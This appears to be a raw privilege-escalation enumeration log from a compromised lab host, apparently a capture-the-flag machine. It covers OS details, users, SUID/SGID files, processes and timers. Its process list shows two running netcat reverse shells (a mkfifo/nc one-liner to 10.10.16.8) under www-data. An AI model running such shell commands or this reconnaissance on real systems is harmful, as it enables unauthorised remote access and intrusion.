System/Kernel
$ file /bin/bash ; uname -a ; cat /etc/*release
/bin/bash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2a9f157890930ced4c3ad0e74fc1b1b84aad71e6, for GNU/Linux 3.2.0, stripped
linux updown 5.4.0-122-generic #138-ubuntu smp wed jun 22 15:00:31 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04
DISTRIB_CODENAME=focal
DISTRIB_DESCRIPTION="Ubuntu 20.04.5 LTS"
NAME="Ubuntu"
VERSION="20.04.5 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.5 LTS"
VERSION_ID="20.04"
home_url="https://www.ubuntu.com/"
support_url="https://help.ubuntu.com/"
bug_report_url="https://bugs.launchpad.net/ubuntu/"
privacy_policy_url="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focalUbuntu 20.04.5 LTS (Focal Fossa)
5.4.0-122-generic
x86_64
Networks
$ arp -a ; netstat -antup4
? (10.10.10.2) at 00:50:56:b9:d7:84 [ether] on eth0
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 52 10.10.11.177:60784 10.10.16.8:9999 ESTABLISHED 70810/nc
tcp 0 0 10.10.11.177:53370 10.10.16.8:9998 ESTABLISHED 70952/nc
tcp 0 1 10.10.11.177:48306 8.8.8.8:53 SYN_SENT -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* - Users & Groups
$ cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
developer:x:1002:1002::/home/developer:/bin/bash
total 12K
4.0K drwxr-xr-x 6 developer developer 4.0K Aug 30 2022 developer
4.0K drwxr-xr-x 19 root root 4.0K Aug 3 2022 ..
4.0K drwxr-xr-x 3 root root 4.0K Jun 22 2022 .developer
$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=101(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=102(systemd-timesync) gid=104(systemd-timesync) groups=104(systemd-timesync)
uid=103(messagebus) gid=106(messagebus) groups=106(messagebus)
uid=104(syslog) gid=110(syslog) groups=110(syslog),4(adm),5(tty)
uid=105(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=106(tss) gid=111(tss) groups=111(tss)
uid=107(uuidd) gid=112(uuidd) groups=112(uuidd)
uid=108(tcpdump) gid=113(tcpdump) groups=113(tcpdump)
uid=109(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=110(landscape) gid=115(landscape) groups=115(landscape)
uid=111(pollinate) gid=1(daemon) groups=1(daemon)
uid=999(systemd-coredump) gid=999(systemd-coredump) groups=999(systemd-coredump)
uid=998(lxd) gid=100(users) groups=100(users)
uid=1002(developer) gid=1002(developer) groups=1002(developer)uid=1002(developer) gid=1002(developer) groups=1002(developer)
SUIDs
$ find / -perm -04000 -ls -type f 2>/dev/null
7655 52 -rwsr-xr-- 1 root messagebus 51344 Apr 29 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
7657 16 -rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
14069 24 -rwsr-xr-x 1 root root 22840 Feb 21 2022 /usr/lib/policykit-1/polkit-agent-helper-1
14274 464 -rwsr-xr-x 1 root root 473576 Mar 30 2022 /usr/lib/openssh/ssh-keysign
1679 52 -rwsr-xr-x 1 root root 53040 Mar 14 2022 /usr/bin/chsh
1715 68 -rwsr-xr-x 1 root root 67816 Feb 7 2022 /usr/bin/su
1684 40 -rwsr-xr-x 1 root root 39144 Feb 7 2022 /usr/bin/umount
1990 164 -rwsr-xr-x 1 root root 166056 Jan 19 2021 /usr/bin/sudo
1681 88 -rwsr-xr-x 1 root root 88464 Mar 14 2022 /usr/bin/gpasswd
2094 40 -rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount
2222 56 -rwsr-sr-x 1 daemon daemon 55560 Nov 12 2018 /usr/bin/at
1682 68 -rwsr-xr-x 1 root root 68208 Mar 14 2022 /usr/bin/passwd
1642 44 -rwsr-xr-x 1 root root 44784 Mar 14 2022 /usr/bin/newgrp
1678 84 -rwsr-xr-x 1 root root 85064 Mar 14 2022 /usr/bin/chfn
1683 56 -rwsr-xr-x 1 root root 55528 Feb 7 2022 /usr/bin/mount
261147 20 -rwsr-x--- 1 developer www-data 16928 Jun 22 2022 /home/developer/dev/siteisup/home/developer/dev/siteisup
SGIDs
$ find / -perm -02000 -ls -type f 2>/dev/null
315 0 drwxr-sr-x 2 root systemd-journal 40 dec 4 10:36 /run/log/journal
5901 16 -rwxr-sr-x 1 root utmp 14648 Sep 30 2019 /usr/lib/x86_64-linux-gnu/utempter/utempter
1680 32 -rwxr-sr-x 1 root shadow 31312 Mar 14 2022 /usr/bin/expiry
2195 344 -rwxr-sr-x 1 root ssh 350504 Mar 30 2022 /usr/bin/ssh-agent
2054 16 -rwxr-sr-x 1 root tty 14488 Mar 30 2020 /usr/bin/bsd-write
1677 84 -rwxr-sr-x 1 root shadow 84512 Mar 14 2022 /usr/bin/chage
1901 44 -rwxr-sr-x 1 root crontab 43720 Feb 13 2020 /usr/bin/crontab
2222 56 -rwsr-sr-x 1 daemon daemon 55560 Nov 12 2018 /usr/bin/at
1603 36 -rwxr-sr-x 1 root tty 35048 Feb 7 2022 /usr/bin/wall
71340 48 -rwxr-sr-x 1 root mlocate 47344 Jul 16 2019 /usr/bin/mlocate
80709 4 drwxrwsr-x 3 root staff 4096 Jun 15 2022 /usr/local/lib/python3.8
80710 4 drwxrwsr-x 2 root staff 4096 Jun 15 2022 /usr/local/lib/python3.8/dist-packages
258975 4 drwxrwsr-x 4 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7
259050 4 drwxrwsr-x 19 root staff 4096 Aug 1 2022 /usr/local/lib/python2.7/dist-packages
261269 4 drwxr-sr-x 5 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/urllib3
261326 4 drwxr-sr-x 3 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/urllib3/contrib
261334 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/urllib3/contrib/_securetransport
261338 4 drwxr-sr-x 3 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/urllib3/packages
261341 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/urllib3/packages/backports
261344 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/urllib3/util
261263 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/chardet-4.0.0.dist-info
261212 4 drwxr-sr-x 4 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/chardet
261257 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/chardet/cli
261260 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/chardet/metadata
261636 4 drwxr-sr-x 2 root staff 4096 Aug 1 2022 /usr/local/lib/python2.7/dist-packages/setuptools-44.1.1.dist-info
261358 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/urllib3-1.26.9.dist-info
261552 4 drwxr-sr-x 5 root staff 4096 Aug 1 2022 /usr/local/lib/python2.7/dist-packages/setuptools
261607 4 drwxr-sr-x 2 root staff 4096 Aug 1 2022 /usr/local/lib/python2.7/dist-packages/setuptools/command
261634 4 drwxr-sr-x 2 root staff 4096 Aug 1 2022 /usr/local/lib/python2.7/dist-packages/setuptools/extern
261591 4 drwxr-sr-x 3 root staff 4096 Aug 1 2022 /usr/local/lib/python2.7/dist-packages/setuptools/_vendor
261596 4 drwxr-sr-x 2 root staff 4096 Aug 1 2022 /usr/local/lib/python2.7/dist-packages/setuptools/_vendor/packaging
261207 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/certifi-2021.10.8.dist-info
260266 4 drwxr-sr-x 4 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip
260269 4 drwxr-sr-x 13 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_internal
260411 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_internal/vcs
260332 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_internal/network
260293 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_internal/commands
260280 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_internal/cli
260320 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_internal/models
260310 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_internal/distributions
260316 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_internal/index
260365 4 drwxr-sr-x 4 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_internal/resolution
260368 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_internal/resolution/legacy
260371 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_internal/resolution/resolvelib
260357 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_internal/req
260341 4 drwxr-sr-x 4 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_internal/operations
260346 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_internal/operations/build
260352 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_internal/operations/install
260381 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_internal/utils
260418 4 drwxr-sr-x 19 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor
260636 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/toml
260642 4 drwxr-sr-x 5 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/urllib3
260654 4 drwxr-sr-x 3 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/urllib3/contrib
260662 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/urllib3/contrib/_securetransport
260666 4 drwxr-sr-x 4 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/urllib3/packages
260672 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/urllib3/packages/ssl_match_hostname
260669 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/urllib3/packages/backports
260675 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/urllib3/util
260491 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/colorama
260448 4 drwxr-sr-x 3 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/chardet
260488 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/chardet/cli
260589 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/pep517
260627 4 drwxr-sr-x 3 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/resolvelib
260633 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/resolvelib/compat
260443 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/certifi
260600 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/pkg_resources
260428 4 drwxr-sr-x 3 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/cachecontrol
260439 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/cachecontrol/caches
260577 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/packaging
260608 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/requests
260688 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/webencodings
260603 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/progress
260562 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/idna
260571 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/msgpack
260523 4 drwxr-sr-x 7 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/html5lib
260532 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/html5lib/_trie
260555 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/html5lib/treewalkers
260549 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/html5lib/treebuilders
260536 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/html5lib/filters
260545 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/html5lib/treeadapters
260498 4 drwxr-sr-x 3 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/distlib
260516 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip/_vendor/distlib/_backport
261192 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/certifi
261422 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/requests-2.27.1.dist-info
261094 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/wheel-0.37.1.dist-info
261187 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/idna-2.10.dist-info
260700 4 drwxr-sr-x 4 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/wheel
261083 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/wheel/cli
261088 4 drwxr-sr-x 3 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/wheel/vendored
261090 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/wheel/vendored/packaging
261532 4 drwxr-sr-x 4 root staff 4096 Aug 1 2022 /usr/local/lib/python2.7/dist-packages/pkg_resources
261550 4 drwxr-sr-x 2 root staff 4096 Aug 1 2022 /usr/local/lib/python2.7/dist-packages/pkg_resources/extern
261535 4 drwxr-sr-x 3 root staff 4096 Aug 1 2022 /usr/local/lib/python2.7/dist-packages/pkg_resources/_vendor
261540 4 drwxr-sr-x 2 root staff 4096 Aug 1 2022 /usr/local/lib/python2.7/dist-packages/pkg_resources/_vendor/packaging
261363 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/requests
261178 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/idna
260694 4 drwxr-sr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/dist-packages/pip-20.3.4.dist-info
260142 4 drwxrwsr-x 2 root staff 4096 Jun 22 2022 /usr/local/lib/python2.7/site-packages
2532 44 -rwxr-sr-x 1 root shadow 43168 Sep 17 2021 /usr/sbin/pam_extrausers_chkpwd
2538 44 -rwxr-sr-x 1 root shadow 43160 Sep 17 2021 /usr/sbin/unix_chkpwd
80962 4 drwxrwsr-x 2 root mail 4096 Jun 15 2022 /var/mail
80964 4 drwxrwsr-x 2 root staff 4096 Apr 15 2020 /var/local
80966 4 drwxr-sr-x 3 root systemd-journal 4096 Jun 22 2022 /var/log/journal
80995 4 drwxr-sr-x 2 root systemd-journal 4096 dec 4 10:36 /var/log/journal/f4b6fe6534db443c9da425a4db2ae070Processes
$ ps -auxwww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.5 168044 11288 ? Ss 10:36 0:02 /sbin/init
root 462 0.0 0.5 52392 10112 ? S<s 10:36 0:00 /lib/systemd/systemd-journald
root 486 0.0 0.2 20420 5892 ? Ss 10:36 0:01 /lib/systemd/systemd-udevd
systemd+ 487 0.0 0.3 19324 7572 ? Ss 10:36 0:00 /lib/systemd/systemd-networkd
root 580 0.0 0.8 214624 17972 ? SLsl 10:36 0:04 /sbin/multipathd -d -s
root 606 0.0 0.4 241052 9272 ? Ssl 10:36 0:00 /usr/lib/accountsservice/accounts-daemon
message+ 607 0.0 0.2 7416 4164 ? Ss 10:36 0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root 625 0.0 0.1 81952 3812 ? Ssl 10:36 0:01 /usr/sbin/irqbalance --foreground
root 627 0.0 0.9 29896 18176 ? Ss 10:36 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root 629 0.0 0.2 99896 5776 ? Ssl 10:36 0:00 /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root 631 0.0 0.4 236440 9024 ? Ssl 10:36 0:00 /usr/lib/policykit-1/polkitd --no-debug
syslog 636 0.0 0.2 224344 5108 ? Ssl 10:36 0:00 /usr/sbin/rsyslogd -n -iNONE
root 637 0.0 0.2 17388 5832 ? Ss 10:36 0:00 /lib/systemd/systemd-logind
root 641 0.0 0.6 395720 13600 ? Ssl 10:36 0:00 /usr/lib/udisks2/udisksd
root 642 0.0 0.5 49280 10248 ? Ss 10:36 0:00 /usr/bin/VGAuthService
root 643 0.1 0.4 313224 8472 ? Ssl 10:36 0:44 /usr/bin/vmtoolsd
root 676 0.0 0.6 245104 13296 ? Ssl 10:36 0:00 /usr/sbin/ModemManager
systemd+ 838 0.0 0.5 24828 11600 ? Ss 10:36 0:02 /lib/systemd/systemd-resolved
root 880 0.0 0.3 12200 6964 ? Ss 10:36 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 896 0.0 0.1 8564 2972 ? Ss 10:36 0:00 /usr/sbin/cron -f
daemon 898 0.0 0.1 3820 2232 ? Ss 10:36 0:00 /usr/sbin/atd -f
root 908 0.0 0.0 5828 1784 tty1 Ss+ 10:36 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root 909 0.0 1.1 209180 22472 ? Ss 10:36 0:03 /usr/sbin/apache2 -k start
www-data 68579 0.0 0.9 283636 18872 ? S 13:22 0:03 /usr/sbin/apache2 -k start
www-data 70805 0.0 0.0 2608 600 ? S 21:31 0:00 sh -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.8 9999 >/tmp/f
www-data 70808 0.0 0.0 2652 580 ? S 21:31 0:00 cat /tmp/f
www-data 70809 0.0 0.0 2608 1900 ? S 21:31 0:00 sh -i
www-data 70810 0.0 0.1 3332 2056 ? S 21:31 0:00 nc 10.10.16.8 9999
www-data 70947 0.0 0.0 2608 596 ? S 22:01 0:00 sh -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.8 9998 >/tmp/f
www-data 70950 0.0 0.0 2652 580 ? S 22:01 0:00 cat /tmp/f
www-data 70951 0.0 0.0 2608 600 ? S 22:01 0:00 sh -i
www-data 70952 0.0 0.1 3332 2036 ? S 22:01 0:00 nc 10.10.16.8 9998
www-data 71132 0.0 0.1 6072 3064 ? R 22:26 0:00 ps -auxwww/usr/lib/policykit-1/polkitd --no-debug
/usr/sbin/cron -f
Cron & Systemd
$ crontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for www-data
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
path=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
NEXT LEFT LAST PASSED UNIT ACTIVATES
mon 2023-12-04 22:39:00 UTC 10min left Mon 2023-12-04 22:09:22 UTC 18min ago phpsessionclean.timer phpsessionclean.service
mon 2023-12-04 23:17:49 UTC 49min left Mon 2023-12-04 16:59:48 UTC 5h 28min ago ua-timer.timer ua-timer.service
tue 2023-12-05 00:00:00 UTC 1h 31min left Mon 2023-12-04 10:36:13 UTC 11h ago logrotate.timer logrotate.service
tue 2023-12-05 00:00:00 UTC 1h 31min left Mon 2023-12-04 10:36:13 UTC 11h ago man-db.timer man-db.service
tue 2023-12-05 06:09:17 UTC 7h left Mon 2023-12-04 18:07:39 UTC 4h 20min ago motd-news.timer motd-news.service
tue 2023-12-05 06:23:57 UTC 7h left Mon 2023-12-04 10:40:48 UTC 11h ago apt-daily-upgrade.timer apt-daily-upgrade.service
tue 2023-12-05 08:02:59 UTC 9h left Mon 2023-12-04 19:14:36 UTC 3h 13min ago apt-daily.timer apt-daily.service
tue 2023-12-05 10:51:25 UTC 12h left Mon 2023-12-04 10:51:25 UTC 11h ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
tue 2023-12-05 16:51:56 UTC 18h left Mon 2023-12-04 19:47:57 UTC 2h 40min ago fwupd-refresh.timer fwupd-refresh.service
sun 2023-12-10 03:10:28 UTC 5 days left Mon 2023-12-04 10:36:13 UTC 11h ago e2scrub_all.timer e2scrub_all.service
mon 2023-12-11 00:00:00 UTC 6 days left Mon 2023-12-04 10:36:13 UTC 11h ago fstrim.timer fstrim.service
11 timers listed.
Pass --all to see loaded but inactive timers, too.Sudo Version
$ sudo -V
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31Glibc Version
$ ldd --version
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
ldd (Ubuntu GLIBC 2.31-0ubuntu9.9) 2.31
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.ldd (Ubuntu GLIBC 2.31-0ubuntu9.9) 2.31